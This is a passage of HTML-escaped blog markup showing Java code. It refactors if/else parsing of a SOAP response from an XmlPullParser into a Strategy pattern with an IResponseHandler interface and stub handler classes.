0px;&quot;&gt;)){&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;  
                eventType &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;getText&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;()!=&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
                editorialBoard &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;getText&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;soapResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;equals&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;border: 0px; color: maroon; margin: 0px; padding: 0px;&quot;&gt;&quot;AdvisoryBoard&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;)){&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;  
                eventType &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;getText&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;()!=&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
                advisoryBoard &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;getText&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;   
        &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
        eventType &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xpp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;();&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
Instead of doing above tricky code which is difficult to read could be done in a better way by simply implementing Strategy Pattern:&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eeeeee; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;com&quot; style=&quot;border: 0px; color: grey; margin: 0px; padding: 0px;&quot;&gt;// Interface&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;IResponseHandler&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; handleResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;XmlPullParser&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xxp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;border: 0px; color: grey; margin: 0px; padding: 0px;&quot;&gt;// Concrete class for EditorialOffice response&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;EditorialOfficeHandler&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;IResponseHandler&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; handleResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;XmlPullParser&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xxp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
       &lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;border: 0px; color: grey; margin: 0px; padding: 0px;&quot;&gt;// Do something to handle Editorial Office response&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;

&lt;/span&gt;&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;com&quot; style=&quot;border: 0px; color: grey; margin: 0px; padding: 0px;&quot;&gt;// Concrete class for EditorialBoard response&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;EditorialBoardHandler&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;IResponseHandler&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; handleResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;XmlPullParser&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xxp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
       &lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;border: 0px; color: grey; margin: 0px; padding: 0px;&quot;&gt;// Do something to handle Editorial Board response&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Liberation Mono&#39;, &#39;DejaVu Sans Mono&#39;, &#39;Bitstream Vera Sans Mono&#39;, &#39;Courier New&#39;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;com&quot; style=&quot;border: 0px; color: grey; margin: 0px; padding: 0px;&quot;&gt;// Concrete class for AdvisoryBoard response&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;private&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;AdivsoryBoardHandler&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;IResponseHandler&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: darkblue; margin: 0px; padding: 0px;&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; handleResponse&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;XmlPullParser&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; xxp&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
       &lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;border: 0px; color: grey; margin: 0px; padding: 0px;&quot;&gt;// Do something to handle Advisory Board response&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
   &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: black; margin: 0px; padding: 0px;&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
At a place in your code create something like this&lt;/div&gt;
&lt;div&gt;
